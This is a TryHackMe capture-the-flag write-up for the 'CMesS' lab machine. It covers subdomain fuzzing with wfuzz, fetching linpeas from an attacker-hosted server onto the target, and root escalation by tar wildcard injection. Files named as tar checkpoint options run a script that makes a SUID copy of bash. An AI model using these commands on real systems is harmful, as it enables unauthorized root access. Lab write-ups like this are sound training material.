TryHackMe - CMesS
Nmap
Port 80
When googling we find this (needs to be authenticated)
We have a robots.txt
With gobuster we found: /login and /admin
Let's look for subdomain
wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://cmess.thm' -H "HOST: FUZZ.cmess.thm" --hw 290
We remove pages with 290 words because it is a not found response so not relevant for us even though the response code is 200. W find dev subdomain let's add it to /etc/hosts
10.10.125.143 dev.cmess.thm
We can try the CVE previously found with google
let's follow this blog post
=> NOT WORKING
We stabilize our shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Lets get a privesc enum script in our target. I am a fan of linpeas so I am gonna use it here.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 80
And from our target we type
wget http://10.13.22.56/linpeas.sh
(we need to be in the tmp folder to successfully write the file)We make it executable
chmod +x linpeas.sh
and we launch it./linpeas.sh
Lateral movement
Interesting output from linpeas
List of cve we could try out
other interesting things to check
The sudo version is not successful cause our version does not seem vulnerable.
We have another password
Let's now enumerate way to privesc from Andre's user
Privesc
Linepeas as Andre
This is doing a backup with a wildcard. We can try to abuse this.
Let's go to the backup folder
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/andre/backup/runme.sh
we create a malicious bashtouch /home/andre/backup/--checkpoint=1
when the scheduled script is going to read the home directory it will have a file named as a tar command, so it will interpret it. This command displays a status message every 1touch /home/andre/backup/--checkpoint-action=exec=sh\ runme.sh
then this command is going to make and action when the checkpoint we created before is hitLet's now try to launch our script
/tmp/bash -p
Last updated